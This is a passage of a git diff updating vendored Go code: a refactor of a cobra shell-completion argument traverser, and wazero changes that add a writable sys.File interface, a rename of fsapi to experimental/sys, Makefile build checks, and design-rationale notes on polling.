- Args []string -} - -func (f _inFlag) Consumes(arg string) bool { - switch { - case f.Flag == nil: - return false - case !f.TakesValue(): - return false - case f.IsOptarg(): - return false - case len(f.Args) == 0: - return true - case f.Nargs() > 1 && len(f.Args) < f.Nargs(): - return true - case f.Nargs() < 0 && !strings.HasPrefix(arg, "-"): - return true - default: - return false - } -} - -func traverse(c *cobra.Command, args []string) (Action, Context) { - LOG.Printf("traverse called for %#v with args %#v\n", c.Name(), args) - storage.preRun(c, args) +func traverse(cmd *cobra.Command, args []string) (Action, Context) { + LOG.Printf("traverse called for %#v with args %#v\n", cmd.Name(), args) + storage.preRun(cmd, args) if env.Lenient() { LOG.Printf("allowing unknown flags") - c.FParseErrWhitelist.UnknownFlags = true + cmd.FParseErrWhitelist.UnknownFlags = true } - inArgs := []string{} // args consumed by current command - var inFlag *_inFlag // last encountered flag that still expects arguments - c.LocalFlags() // TODO force c.mergePersistentFlags() which is missing from c.Flags() - fs := pflagfork.FlagSet{FlagSet: c.Flags()} + inArgs := []string{} // args consumed by current command + inPositionals := []string{} // positionals consumed by current command + var inFlag *pflagfork.Flag // last encountered flag that still expects arguments + cmd.LocalFlags() // TODO force c.mergePersistentFlags() which is missing from c.Flags() + fs := pflagfork.FlagSet{FlagSet: cmd.Flags()} context := NewContext(args...) + context.cmd = cmd loop: for i, arg := range context.Args { switch { @@ -71,41 +48,39 @@ loop: break loop // flag - case !c.DisableFlagParsing && strings.HasPrefix(arg, "-"): + case !cmd.DisableFlagParsing && strings.HasPrefix(arg, "-") && (fs.IsInterspersed() || len(inPositionals) == 0): LOG.Printf("arg %#v is a flag\n", arg) inArgs = append(inArgs, arg) - inFlag = &_inFlag{ - Flag: fs.LookupArg(arg), - Args: []string{}, - } + inFlag = fs.LookupArg(arg) - if inFlag.Flag == nil { + if inFlag == nil { LOG.Printf("flag %#v is unknown", arg) } continue // subcommand - case subcommand(c, arg) != nil: + case subcommand(cmd, arg) != nil: LOG.Printf("arg %#v is a subcommand\n", arg) switch { - case c.DisableFlagParsing: - LOG.Printf("flag parsing disabled for %#v\n", c.Name()) + case cmd.DisableFlagParsing: + LOG.Printf("flag parsing disabled for %#v\n", cmd.Name()) default: - LOG.Printf("parsing flags for %#v with args %#v\n", c.Name(), inArgs) - if err := c.ParseFlags(inArgs); err != nil { + LOG.Printf("parsing flags for %#v with args %#v\n", cmd.Name(), inArgs) + if err := cmd.ParseFlags(inArgs); err != nil { return ActionMessage(err.Error()), context } - context.Args = c.Flags().Args() + context.Args = cmd.Flags().Args() } - return traverse(subcommand(c, arg), args[i+1:]) + return traverse(subcommand(cmd, arg), args[i+1:]) // positional default: LOG.Printf("arg %#v is a positional\n", arg) inArgs = append(inArgs, arg) + inPositionals = append(inPositionals, arg) } } @@ -113,16 +88,17 @@ loop: if inFlag != nil && len(inFlag.Args) == 0 && inFlag.Consumes("") { LOG.Printf("removing arg %#v since it is a flag missing its argument\n", toParse[len(toParse)-1]) toParse = toParse[:len(toParse)-1] - } else if fs.IsShorthandSeries(context.Value) { - LOG.Printf("arg %#v is a shorthand flag series", context.Value) - localInFlag := &_inFlag{ - Flag: fs.LookupArg(context.Value), - Args: []string{}, - } - if localInFlag.Consumes("") && len(context.Value) > 2 { - LOG.Printf("removing shorthand %#v from flag series since it is missing its argument\n", localInFlag.Shorthand) - toParse = append(toParse, strings.TrimSuffix(context.Value, localInFlag.Shorthand)) + } else if (fs.IsInterspersed() || len(inPositionals) == 0) && fs.IsShorthandSeries(context.Value) { // TODO shorthand series isn't correct anymore (can have value attached) + LOG.Printf("arg %#v is a shorthand flag series", context.Value) // TODO not aways correct + localInFlag := fs.LookupArg(context.Value) + + if localInFlag != nil && (len(localInFlag.Args) == 0 || localInFlag.Args[0] == "") && (!localInFlag.IsOptarg() || strings.HasSuffix(localInFlag.Prefix, string(localInFlag.OptargDelimiter()))) { // TODO && len(context.Value) > 2 { + // TODO check if empty prefix + suffix := localInFlag.Prefix[strings.LastIndex(localInFlag.Prefix, localInFlag.Shorthand):] + LOG.Printf("removing suffix %#v since it is a flag missing its argument\n", suffix) + toParse = append(toParse, strings.TrimSuffix(localInFlag.Prefix, suffix)) } else { + LOG.Printf("adding shorthand flag %#v", context.Value) toParse = append(toParse, context.Value) } @@ -130,55 +106,56 @@ loop: // TODO duplicated code switch { - case c.DisableFlagParsing: - LOG.Printf("flag parsing is disabled for %#v\n", c.Name()) + case cmd.DisableFlagParsing: + LOG.Printf("flag parsing is disabled for %#v\n", cmd.Name()) default: - LOG.Printf("parsing flags for %#v with args %#v\n", c.Name(), toParse) - if err := c.ParseFlags(toParse); err != nil { + LOG.Printf("parsing flags for %#v with args %#v\n", cmd.Name(), toParse) + if err := cmd.ParseFlags(toParse); err != nil { return ActionMessage(err.Error()), context } - context.Args = c.Flags().Args() + context.Args = cmd.Flags().Args() } switch { // dash argument - case common.IsDash(c): + case common.IsDash(cmd): LOG.Printf("completing dash for arg %#v\n", context.Value) - context.Args = c.Flags().Args()[c.ArgsLenAtDash():] + context.Args = cmd.Flags().Args()[cmd.ArgsLenAtDash():] LOG.Printf("context: %#v\n", context.Args) - return storage.getPositional(c, len(context.Args)), context + return storage.getPositional(cmd, len(context.Args)), context // flag argument case inFlag != nil && inFlag.Consumes(context.Value): LOG.Printf("completing flag argument of %#v for arg %#v\n", inFlag.Name, context.Value) context.Parts = inFlag.Args - return storage.getFlag(c, inFlag.Name), context + return storage.getFlag(cmd, inFlag.Name), context // flag - case !c.DisableFlagParsing && strings.HasPrefix(context.Value, "-"): - if f := fs.LookupArg(context.Value); f != nil && f.IsOptarg() && strings.Contains(context.Value, string(f.OptargDelimiter())) { - LOG.Printf("completing optional flag argument for arg %#v\n", context.Value) - prefix, optarg := f.Split(context.Value) - context.Value = optarg + case !cmd.DisableFlagParsing && strings.HasPrefix(context.Value, "-") && (fs.IsInterspersed() || len(inPositionals) == 0): + if f := fs.LookupArg(context.Value); f != nil && len(f.Args) > 0 { + LOG.Printf("completing optional flag argument for arg %#v with prefix %#v\n", context.Value, f.Prefix) switch f.Value.Type() { case "bool": - return ActionValues("true", "false").StyleF(style.ForKeyword).Prefix(prefix), context + return ActionValues("true", "false").StyleF(style.ForKeyword).Usage(f.Usage).Prefix(f.Prefix), context default: - return storage.getFlag(c, f.Name).Prefix(prefix), context + return storage.getFlag(cmd, f.Name).Prefix(f.Prefix), context } + } else if f != nil && fs.IsPosix() && !strings.HasPrefix(context.Value, "--") && !f.IsOptarg() && f.Prefix == context.Value { + LOG.Printf("completing attached flag argument for arg %#v with prefix %#v\n", context.Value, f.Prefix) + return storage.getFlag(cmd, f.Name).Prefix(f.Prefix), context } LOG.Printf("completing flags for arg %#v\n", context.Value) - return actionFlags(c), context + return actionFlags(cmd), context // positional or subcommand default: LOG.Printf("completing positionals and subcommands for arg %#v\n", context.Value) - batch := Batch(storage.getPositional(c, len(context.Args))) - if c.HasAvailableSubCommands() && len(context.Args) == 0 { - batch = append(batch, actionSubcommands(c)) + batch := Batch(storage.getPositional(cmd, len(context.Args))) + if cmd.HasAvailableSubCommands() && len(context.Args) == 0 { + batch = append(batch, ActionCommands(cmd)) } return batch.ToA(), context } diff --git a/vendor/github.com/tetratelabs/wazero/Makefile b/vendor/github.com/tetratelabs/wazero/Makefile index 5c7eae416f..4ed46536ee 100644 --- a/vendor/github.com/tetratelabs/wazero/Makefile +++ b/vendor/github.com/tetratelabs/wazero/Makefile @@ -212,6 +212,10 @@ check: # This makes sure the intepreter can be used. Most often the package that can # drift here is "platform" or "sysfs": # +# Ensure we build on plan9. See #1578 + @GOARCH=amd64 GOOS=plan9 go build ./... +# Ensure we build on gojs. See #1526. TODO: add GOOS=wasi as well. + @GOARCH=wasm GOOS=js go build ./... # Ensure we build on windows: @GOARCH=amd64 GOOS=windows go build ./... # Ensure we build on an arbitrary operating system: diff --git a/vendor/github.com/tetratelabs/wazero/RATIONALE.md b/vendor/github.com/tetratelabs/wazero/RATIONALE.md index 32a0da20e6..d8a1d12e2b 100644 --- a/vendor/github.com/tetratelabs/wazero/RATIONALE.md +++ b/vendor/github.com/tetratelabs/wazero/RATIONALE.md @@ -616,6 +616,135 @@ act differently and document `ModuleConfig` is more about emulating, not necessa ## File systems +### Motivation on `sys.FS` + +The `sys.FS` abstraction in wazero was created because of limitations in +`fs.FS`, and `fs.File` in Go. Compilers targeting `wasip1` may access +functionality that writes new files. The ability to overcome this was requested +even before wazero was named this, via issue #21 in March 2021. + +A month later, golang/go#45757 was raised by someone else on the same topic. As +of July 2023, this has not resolved to a writeable file system abstraction. + +Over the next year more use cases accumulated, consolidated in March 2022 into +#390. This closed in January 2023 with a milestone of providing more +functionality, limited to users giving a real directory. This didn't yet expose +a file abstraction for general purpose use. Internally, this used `os.File`. +However, a wasm module instance is a virtual machine. Only supporting `os.File` +breaks sand-boxing use cases. Moreover, `os.File` is not an interface. Even +though this abstracts functionality, it does allow interception use cases. + +Hence, a few days later in January 2023, we had more issues asking to expose an +abstraction, #1013 and later #1532, on use cases like masking access to files. +In other words, the use case requests never stopped, and aren't solved by +exposing only real files. + +In summary, the primary motivation for exposing a replacement for `fs.FS` and +`fs.File` was around repetitive use case requests for years, around +interception and the ability to create new files, both virtual and real files. +While some use cases are solved with real files, not all are. Regardless, an +interface approach is necessary to ensure users can intercept I/O operations. + +### Why doesn't `sys.File` have a `Fd()` method? + +There are many features we could expose. We could make File expose underlying +file descriptors in case they are supported, for integration of system calls +that accept multiple ones, namely `poll` for multiplexing. This special case is +described in a subsequent section. + +As noted above, users have been asking for a file abstraction for over two +years, and a common answer was to wait. Making users wait is a problem, +especially so long. Good reasons to make people wait are stabilization. Edge +case features are not a great reason to hold abstractions from users. + +Another reason is implementation difficulty. Go did not attempt to abstract +file descriptors. For example, unlike `fs.ReadFile` there is no `fs.FdFile` +interface. Most likely, this is because file descriptors are an implementation +detail of common features. Programming languages, including Go, do not require +end users to know about file descriptors. Types such as `fs.File` can be used +without any knowledge of them. Implementations may or may not have file +descriptors. For example, in Go, `os.DirFS` has underlying file descriptors +while `embed.FS` does not. + +Despite this, some may want to expose a non-standard interface because +`os.File` has `Fd() uintptr` to return a file descriptor. Mainly, this is +handy to integrate with `syscall` package functions (on `GOOS` values that +declare them). Notice, though that `uintptr` is unsafe and not an abstraction. +Close inspection will find some `os.File` types internally use `poll.FD` +instead, yet this is not possible to use abstractly because that type is not +exposed. For example, `plan9` uses a different type than `poll.FD`. In other +words, even in real files, `Fd()` is not wholly portable, despite it being +useful on many operating systems with the `syscall` package. + +The reasons above, why Go doesn't abstract `FdFile` interface are a subset of +reasons why `sys.File` does not. If we exposed `File.Fd()` we not only would +have to declare all the edge cases that Go describes including impact of +finalizers, we would have to describe these in terms of virtualized files. +Then, we would have to reason with this value vs our existing virtualized +`sys.FileTable`, mapping whatever type we return to keys in that table, also +in consideration of garbage collection impact. The combination of issues like +this could lead down a path of not implementing a file system abstraction at +all, and instead a weak key mapped abstraction of the `syscall` package. Once +we finished with all the edge cases, we would have lost context of the original +reason why we started.. simply to allow file write access! + +When wazero attempts to do more than what the Go programming language team, it +has to be carefully evaluated, to: +* Be possible to implement at least for `os.File` backed files +* Not be confusing or cognitively hard for virtual file systems and normal use. +* Affordable: custom code is solely the responsible by the core team, a much + smaller group of individuals than who maintain the Go programming language. + +Due to problems well known in Go, consideration of the end users who constantly +ask for basic file system functionality, and the difficulty virtualizing file +descriptors at multiple levels, we don't expose `Fd()` and likely won't ever +expose `Fd()` on `sys.File`. + +### Why does `sys.File` have a `Poll()` method, while `sys.FS` does not? + +wazero exposes `File.Poll` which allows one-at-a-time poll use cases, +requested by multiple users. This not only includes abstract tests such as +Go 1.21 `GOOS=wasip1`, but real use cases including python and container2wasm +repls, as well listen sockets. The main use cases is non-blocking poll on a +single file. Being a single file, this has no risk of problems such as +head-of-line blocking, even when emulated. + +The main use case of multi-poll are bidirectional network services, something +not used in `GOOS=wasip1` standard libraries, but could be in the future. +Moving forward without a multi-poller allows wazero to expose its file system +abstraction instead of continuing to hold back it back for edge cases. We'll +continue discussion below regardless, as rationale was requested. + +You can loop through multiple `sys.File`, using `File.Poll` to see if an event +is ready, but there is a head-of-line blocking problem. If a long timeout is +used, bad luck could have a file that has nothing to read or write before one +that does. This could cause more blocking than necessary, even if you could +poll the others just after with a zero timeout. What's worse than this is if +unlimited blocking was used (`timeout=-1`). The host implementations could use +goroutines to avoid this, but interrupting a "forever" poll is problematic. All +of these are reasons to consider a multi-poll API, but do not require exporting +`File.Fd()`. + +Should multi-poll becomes critical, `sys.FS` could expose a `Poll` function +like below, despite it being the non-portable, complicated if possible to +implement on all platforms and virtual file systems. +```go +ready, errno := fs.Poll([]sys.PollFile{{f1, sys.POLLIN}, {f2, sys.POLLOUT}}, timeoutMillis) +``` + +A real filesystem could handle this by using an approach like the internal +`unix.Poll` function in Go, passing file descriptors on unix platforms, or +returning `sys.ENOSYS` for unsupported operating systems. Implementation for +virtual files could have a strategy around timeout to avoid the worst case of +head-of-line blocking (unlimited timeout). + +Let's remember that when designing abstractions, it is not best to add an +interface for everything. Certainly, Go doesn't, as evidenced by them not +exposing `poll.FD` in `os.File`! Such a multi-poll could be limited to +built-in filesystems in the wazero repository, avoiding complexity of trying to +support and test this abstractly. This would still permit multiplexing for CLI +users, and also permit single file polling as exists now. + ### Why doesn't wazero implement the working directory? An early design of wazero's API included a `WithWorkDirFS` which allowed @@ -1270,19 +1399,18 @@ as for regular file descriptors: data is assumed to be present and a success is written back to the result buffer. However, if the reader is detected to read from `os.Stdin`, -a special code path is followed, invoking `platform.Select()`. +a special code path is followed, invoking `sysfs.poll()`. -`platform.Select()` is a wrapper for `select(2)` on POSIX systems, +`sysfs.poll()` is a wrapper for `poll(2)` on POSIX systems, and it is emulated on Windows. -### Select on POSIX +### Poll on POSIX -On POSIX systems,`select(2)` allows to wait for incoming data on a file +On POSIX systems, `poll(2)` allows to wait for incoming data on a file descriptor, and block until either data becomes available or the timeout -expires. It is not surprising that `select(2)` and `poll(2)` have lot in common: -the main difference is how the file descriptor parameters are passed. +expires. -Usage of `platform.Select()` is only reserved for the standard input case, because +Usage of `syfs.poll()` is currently only reserved for standard input, because 1. it is really only necessary to handle interactive input: otherwise, there is no way in Go to peek from Standard Input without actually @@ -1291,11 +1419,11 @@ Usage of `platform.Select()` is only reserved for the standard input case, becau 2. if `Stdin` is connected to a pipe, it is ok in most cases to return with success immediately; -3. `platform.Select()` is currently a blocking call, irrespective of goroutines, +3. `syfs.poll()` is currently a blocking call, irrespective of goroutines, because the underlying syscall is; thus, it is better to limit its usage. So, if the subscription is for `os.Stdin` and the handle is detected -to correspond to an interactive session, then `platform.Select()` will be +to correspond to an interactive session, then `sysfs.poll()` will be invoked with a the `Stdin` handle *and* the timeout. This also means that in this specific case, the timeout is uninterruptible, @@ -1303,35 +1431,46 @@ unless data becomes available on `Stdin` itself. ### Select on Windows -On Windows `platform.Select()` cannot be delegated to a single +On Windows `sysfs.poll()` cannot be delegated to a single syscall, because there is no single syscall to handle sockets, pipes and regular files. Instead, we emulate its behavior for the cases that are currently -of interest. +of interest. - For regular files, we _always_ report them as ready, as [most operating systems do anyway][async-io-windows]. -- For pipes, we iterate on the given `readfds` -and we invoke [`PeekNamedPipe`][peeknamedpipe]. We currently ignore -`writefds` and `exceptfds` for pipes. In particular, -`Stdin`, when present, is set to the `readfds` FdSet. +- For pipes, we invoke [`PeekNamedPipe`][peeknamedpipe] +for each file handle we detect is a pipe open for reading. +We currently ignore pipes open for writing. - Notably, we include also support for sockets using the [WinSock -implementation of `select`][winsock-select], but instead -of relying on the timeout argument of the `select` function, +implementation of `poll`][wsapoll], but instead +of relying on the timeout argument of the `WSAPoll` function, we set a 0-duration timeout so that it behaves like a peek. This way, we can check for regular files all at once, -at the beginning of the function, then we poll pipes and +at the beginning of the function, then we poll pipes and sockets periodically using a cancellable `time.Tick`, which plays nicely with the rest of the Go runtime. +### Impact of blocking + +Because this is a blocking syscall, it will also block the carrier thread of +the goroutine, preventing any means to support context cancellation directly. + +There are ways to obviate this issue. We outline here one idea, that is however +not currently implemented. A common approach to support context cancellation is +to add a signal file descriptor to the set, e.g. the read-end of a pipe or an +eventfd on Linux. When the context is canceled, we may unblock a Select call by +writing to the fd, causing it to return immediately. This however requires to +do a bit of housekeeping to hide the "special" FD from the end-user. + [poll_oneoff]: https://github.com/WebAssembly/wasi-poll#why-is-the-function-called-poll_oneoff [async-io-windows]: https://tinyclouds.org/iocp_links [peeknamedpipe]: https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-peeknamedpipe -[winsock-select]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-select +[wsapoll]: https://learn.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsapoll ## Signed encoding of integer global constant initializers diff --git a/vendor/github.com/tetratelabs/wazero/config.go b/vendor/github.com/tetratelabs/wazero/config.go index 8fcfb5fa2b..70219b055f 100644 --- a/vendor/github.com/tetratelabs/wazero/config.go +++ b/vendor/github.com/tetratelabs/wazero/config.go @@ -11,10 +11,10 @@ import ( "time" "github.com/tetratelabs/wazero/api" + experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/engine/compiler" "github.com/tetratelabs/wazero/internal/engine/interpreter" "github.com/tetratelabs/wazero/internal/filecache" - "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/internal/internalapi" "github.com/tetratelabs/wazero/internal/platform" internalsock "github.com/tetratelabs/wazero/internal/sock" @@ -846,7 +846,7 @@ func (c *moduleConfig) toSysContext() (sysCtx *internalsys.Context, err error) { environ = append(environ, result) } - var fs []fsapi.FS + var fs []experimentalsys.FS var guestPaths []string if f, ok := c.fsConfig.(*fsConfig); ok { fs, guestPaths = f.preopens() diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go similarity index 62% rename from vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go rename to vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go index 6e99b1b5d0..0b997cb8fc 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/dir.go +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/dir.go @@ -1,11 +1,9 @@ -package fsapi +package sys import ( "fmt" "io/fs" - "time" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/sys" ) @@ -22,7 +20,7 @@ type FileType = fs.FileMode // - This extends `dirent` defined in POSIX with some fields defined by // Linux. See https://man7.org/linux/man-pages/man3/readdir.3.html and // https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/dirent.h.html -// - This has a subset of fields defined in Stat_t. Notably, there is no +// - This has a subset of fields defined in sys.Stat_t. Notably, there is no // field corresponding to Stat_t.Dev because that value will be constant // for all files in a directory. To get the Dev value, call File.Stat on // the directory File.Readdir was called on. @@ -59,51 +57,36 @@ func (DirFile) IsAppend() bool { } // SetAppend implements File.SetAppend -func (DirFile) SetAppend(bool) experimentalsys.Errno { - return experimentalsys.EISDIR -} - -// IsNonblock implements File.IsNonblock -func (DirFile) IsNonblock() bool { - return false -} - -// SetNonblock implements File.SetNonblock -func (DirFile) SetNonblock(bool) experimentalsys.Errno { - return experimentalsys.EISDIR +func (DirFile) SetAppend(bool) Errno { + return EISDIR } // IsDir implements File.IsDir -func (DirFile) IsDir() (bool, experimentalsys.Errno) { +func (DirFile) IsDir() (bool, Errno) { return true, 0 } // Read implements File.Read -func (DirFile) Read([]byte) (int, experimentalsys.Errno) { - return 0, experimentalsys.EISDIR +func (DirFile) Read([]byte) (int, Errno) { + return 0, EISDIR } // Pread implements File.Pread -func (DirFile) Pread([]byte, int64) (int, experimentalsys.Errno) { - return 0, experimentalsys.EISDIR -} - -// PollRead implements File.PollRead -func (DirFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) { - return false, experimentalsys.ENOSYS +func (DirFile) Pread([]byte, int64) (int, Errno) { + return 0, EISDIR } // Write implements File.Write -func (DirFile) Write([]byte) (int, experimentalsys.Errno) { - return 0, experimentalsys.EISDIR +func (DirFile) Write([]byte) (int, Errno) { + return 0, EISDIR } // Pwrite implements File.Pwrite -func (DirFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) { - return 0, experimentalsys.EISDIR +func (DirFile) Pwrite([]byte, int64) (int, Errno) { + return 0, EISDIR } // Truncate implements File.Truncate -func (DirFile) Truncate(int64) experimentalsys.Errno { - return experimentalsys.EISDIR +func (DirFile) Truncate(int64) Errno { + return EISDIR } diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go new file mode 100644 index 0000000000..f8f2e5b128 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/file.go @@ -0,0 +1,317 @@ +package sys + +import "github.com/tetratelabs/wazero/sys" + +// File is a writeable fs.File bridge backed by syscall functions needed for ABI +// including WASI and runtime.GOOS=js. +// +// Implementations should embed UnimplementedFile for forward compatability. Any +// unsupported method or parameter should return ENOSYS. +// +// # Errors +// +// All methods that can return an error return a Errno, which is zero +// on success. +// +// Restricting to Errno matches current WebAssembly host functions, +// which are constrained to well-known error codes. For example, `GOOS=js` maps +// hard coded values and panics otherwise. More commonly, WASI maps syscall +// errors to u32 numeric values. +// +// # Notes +// +// - You must call Close to avoid file resource conflicts. For example, +// Windows cannot delete the underlying directory while a handle to it +// remains open. +// - A writable filesystem abstraction is not yet implemented as of Go 1.20. +// See https://github.com/golang/go/issues/45757 +type File interface { + // Dev returns the device ID (Stat_t.Dev) of this file, zero if unknown or + // an error retrieving it. + // + // # Errors + // + // Possible errors are those from Stat, except ENOSYS should not + // be returned. Zero should be returned if there is no implementation. + // + // # Notes + // + // - Implementations should cache this result. + // - This combined with Ino can implement os.SameFile. + Dev() (uint64, Errno) + + // Ino returns the serial number (Stat_t.Ino) of this file, zero if unknown + // or an error retrieving it. + // + // # Errors + // + // Possible errors are those from Stat, except ENOSYS should not + // be returned. Zero should be returned if there is no implementation. + // + // # Notes + // + // - Implementations should cache this result. + // - This combined with Dev can implement os.SameFile. + Ino() (sys.Inode, Errno) + + // IsDir returns true if this file is a directory or an error there was an + // error retrieving this information. + // + // # Errors + // + // Possible errors are those from Stat, except ENOSYS should not + // be returned. false should be returned if there is no implementation. + // + // # Notes + // + // - Implementations should cache this result. + IsDir() (bool, Errno) + + // IsAppend returns true if the file was opened with O_APPEND, or + // SetAppend was successfully enabled on this file. + // + // # Notes + // + // - This might not match the underlying state of the file descriptor if + // the file was not opened via OpenFile. + IsAppend() bool + + // SetAppend toggles the append mode (O_APPEND) of this file. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - There is no `O_APPEND` for `fcntl` in POSIX, so implementations may + // have to re-open the underlying file to apply this. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html + SetAppend(enable bool) Errno + + // Stat is similar to syscall.Fstat. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.Fstat and `fstatat` with `AT_FDCWD` in POSIX. + // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/stat.html + // - A fs.FileInfo backed implementation sets atim, mtim and ctim to the + // same value. + // - Windows allows you to stat a closed directory. + Stat() (sys.Stat_t, Errno) + + // Read attempts to read all bytes in the file into `buf`, and returns the + // count read even on error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed or not readable. + // - EISDIR: the file was a directory. + // + // # Notes + // + // - This is like io.Reader and `read` in POSIX, preferring semantics of + // io.Reader. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html + // - Unlike io.Reader, there is no io.EOF returned on end-of-file. To + // read the file completely, the caller must repeat until `n` is zero. + Read(buf []byte) (n int, errno Errno) + + // Pread attempts to read all bytes in the file into `p`, starting at the + // offset `off`, and returns the count read even on error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed or not readable. + // - EINVAL: the offset was negative. + // - EISDIR: the file was a directory. + // + // # Notes + // + // - This is like io.ReaderAt and `pread` in POSIX, preferring semantics + // of io.ReaderAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pread.html + // - Unlike io.ReaderAt, there is no io.EOF returned on end-of-file. To + // read the file completely, the caller must repeat until `n` is zero. + Pread(buf []byte, off int64) (n int, errno Errno) + + // Seek attempts to set the next offset for Read or Write and returns the + // resulting absolute offset or an error. + // + // # Parameters + // + // The `offset` parameters is interpreted in terms of `whence`: + // - io.SeekStart: relative to the start of the file, e.g. offset=0 sets + // the next Read or Write to the beginning of the file. + // - io.SeekCurrent: relative to the current offset, e.g. offset=16 sets + // the next Read or Write 16 bytes past the prior. + // - io.SeekEnd: relative to the end of the file, e.g. offset=-1 sets the + // next Read or Write to the last byte in the file. + // + // # Behavior when a directory + // + // The only supported use case for a directory is seeking to `offset` zero + // (`whence` = io.SeekStart). This should have the same behavior as + // os.File, which resets any internal state used by Readdir. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed or not readable. + // - EINVAL: the offset was negative. + // + // # Notes + // + // - This is like io.Seeker and `fseek` in POSIX, preferring semantics + // of io.Seeker. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fseek.html + Seek(offset int64, whence int) (newOffset int64, errno Errno) + + // Readdir reads the contents of the directory associated with file and + // returns a slice of up to n Dirent values in an arbitrary order. This is + // a stateful function, so subsequent calls return any next values. + // + // If n > 0, Readdir returns at most n entries or an error. + // If n <= 0, Readdir returns all remaining entries or an error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file was closed or not a directory. + // - ENOENT: the directory could not be read (e.g. deleted). + // + // # Notes + // + // - This is like `Readdir` on os.File, but unlike `readdir` in POSIX. + // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html + // - Unlike os.File, there is no io.EOF returned on end-of-directory. To + // read the directory completely, the caller must repeat until the + // count read (`len(dirents)`) is less than `n`. + // - See /RATIONALE.md for design notes. + Readdir(n int) (dirents []Dirent, errno Errno) + + // Write attempts to write all bytes in `p` to the file, and returns the + // count written even on error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file was closed, not writeable, or a directory. + // + // # Notes + // + // - This is like io.Writer and `write` in POSIX, preferring semantics of + // io.Writer. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html + Write(buf []byte) (n int, errno Errno) + + // Pwrite attempts to write all bytes in `p` to the file at the given + // offset `off`, and returns the count written even on error. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed or not writeable. + // - EINVAL: the offset was negative. + // - EISDIR: the file was a directory. + // + // # Notes + // + // - This is like io.WriterAt and `pwrite` in POSIX, preferring semantics + // of io.WriterAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pwrite.html + Pwrite(buf []byte, off int64) (n int, errno Errno) + + // Truncate truncates a file to a specified length. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // - EINVAL: the `size` is negative. + // - EISDIR: the file was a directory. + // + // # Notes + // + // - This is like syscall.Ftruncate and `ftruncate` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/ftruncate.html + // - Windows does not error when calling Truncate on a closed file. + Truncate(size int64) Errno + + // Sync synchronizes changes to the file. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.Fsync and `fsync` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fsync.html + // - This returns with no error instead of ENOSYS when + // unimplemented. This prevents fake filesystems from erring. + // - Windows does not error when calling Sync on a closed file. + Sync() Errno + + // Datasync synchronizes the data of a file. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.Fdatasync and `fdatasync` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fdatasync.html + // - This returns with no error instead of ENOSYS when + // unimplemented. This prevents fake filesystems from erring. + // - As this is commonly missing, some implementations dispatch to Sync. + Datasync() Errno + + // Utimens set file access and modification times of this file, at + // nanosecond precision. + // + // # Parameters + // + // The `atim` and `mtim` parameters refer to access and modification time + // stamps as defined in sys.Stat_t. To retain one or the other, substitute + // it with the pseudo-timestamp UTIME_OMIT. + // + // # Errors + // + // A zero Errno is success. The below are expected otherwise: + // - ENOSYS: the implementation does not support this function. + // - EBADF: the file or directory was closed. + // + // # Notes + // + // - This is like syscall.UtimesNano and `futimens` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html + // - Windows requires files to be open with O_RDWR, which means you + // cannot use this to update timestamps on a directory (EPERM). + Utimens(atim, mtim int64) Errno + + // Close closes the underlying file. + // + // A zero Errno is returned if unimplemented or success. + // + // # Notes + // + // - This is like syscall.Close and `close` in POSIX. See + // https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html + Close() Errno +} diff --git 